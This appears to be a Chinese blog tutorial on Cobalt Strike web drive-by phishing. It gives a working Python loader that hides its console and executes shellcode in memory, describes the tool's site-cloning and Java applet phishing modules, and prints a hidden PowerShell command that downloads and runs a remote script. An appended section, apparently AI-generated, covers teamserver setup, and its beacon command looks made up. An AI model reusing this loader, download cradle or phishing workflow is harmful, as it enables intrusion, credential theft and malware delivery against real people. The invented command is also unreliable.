Cobalt Strike从入门到精通之Web Drive-By web钓鱼攻击

本文详细介绍了如何使用Python编写payload加载器,结合CobaltStrike进行Web钓鱼攻击,涉及内存分配、代码保护和Web服务操纵等技术。重点展示了通过VirtualAlloc和VirtualProtect进行shellcode注入的步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

https://www.bilibili.com/video/BV1P64y1f7e1?p=6

Cobalt Strike Web Drive-By web钓鱼攻击

在这里补充一个上节课的新的知识点,如何使用python语言的payload 加载器去攻击

# length: 894 bytes
from ctypes import *
import ctypes
buf = "" #这里填写payload
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
    buf = c_char_p(buffer)
    size = len(buffer)
    addr = libc.valloc(size)
    addr = c_void_p(addr)
    if 0 == addr: 
        raise Exception("Failed to allocate memory")
    memmove(addr, buf, size)
    if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
        raise Exception("Failed to set protection on buffer")
    return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()   
if whnd != 0:
       if 1:
              ctypes.windll.user32.ShowWindow(whnd, 0)   
              ctypes.windll.kernel32.CloseHandle(whnd)
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()

模块介绍

翻译

这个菜单的中英文翻译

Manage  对开启的web服务进行管理;
Clone Site 克隆网站,可以记录受害者提交的数据;
Host File 提供一个文件下载,可以修改Mime信息;
Scripted Web Delivery 类似于msf 的web_delivery ;
Signed Applet Attack 使用java自签名的程序进行钓鱼攻击;
Smart Applet Attack 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本;
System Profiler 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.149.208:80/test'))"
### Cobalt Strike 的安装方法 #### 客户端与服务端架构 Cobalt Strike 是一款基于 Java 的渗透测试工具,采用客户端-服务端架构。服务端仅需部署一次,而多个客户端能够同时连接至同一服务端,实现资源共享和协作操作[^3]。 #### 环境准备 为了成功安装并运行 Cobalt Strike ,需要确保操作系统支持 Java 运行环境 (JRE),建议版本为 JDK 8 或更高版本。此外,还需下载官方提供的最新版 Cobalt Strike 套件文件[^1]。 #### 部署过程 1. **启动 Team Server** - 将解压后的 `teamserver` 文件放置于合适目录下; - 执行命令:`./teamserver <密码> <许可证密钥>` 来初始化团队服务器实例。 2. **配置客户端连接参数** - 启动 Cobalt Strike 应用程序; - 输入正确的 IP 地址、端口号以及之前设置的服务端认证凭证完成登录。 ```bash # Linux/MacOS 下启动 teamserver 实例 chmod +x ./teamserver ./teamserver mypassword licensekey ``` ### 使用指南概览 #### 功能模块介绍 Cobalt Strike 提供了丰富的功能特性来辅助红队演练活动: - **Beacon Payloads**: 支持多种类型的信标载荷创建,如 Windows EXE/DLL, PowerShell Script, Office Macro 等形式; - **Post Exploitation Modules**: 包含大量后利用阶段使用的模块化脚本,可用于收集情报、提权、横向移动等场景; - **Web Drive-by Attacks**: 可构建恶意网页用于实施社会工程学攻击,例如伪造登录页面诱骗受害者输入敏感数据; - **Spear Phishing Tools**: 整合邮件钓鱼工具链,帮助策划精准定向的社会工程学攻势。 #### 日常操作流程 通过图形界面轻松管理各个组件之间的交互关系,具体步骤如下所示: - 创建新的 Beacon 载荷并通过适当渠道投递给目标主机; - 监控已上线的 Beacons 并下发指令执行特定任务; - 利用内置或自定义开发的 Post Module 对受感染系统进一步探索挖掘价值信息。 ```powershell # PowerShell 中生成一个简单的 beacon payload 示例 beacon generate powershell -o output.ps1 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值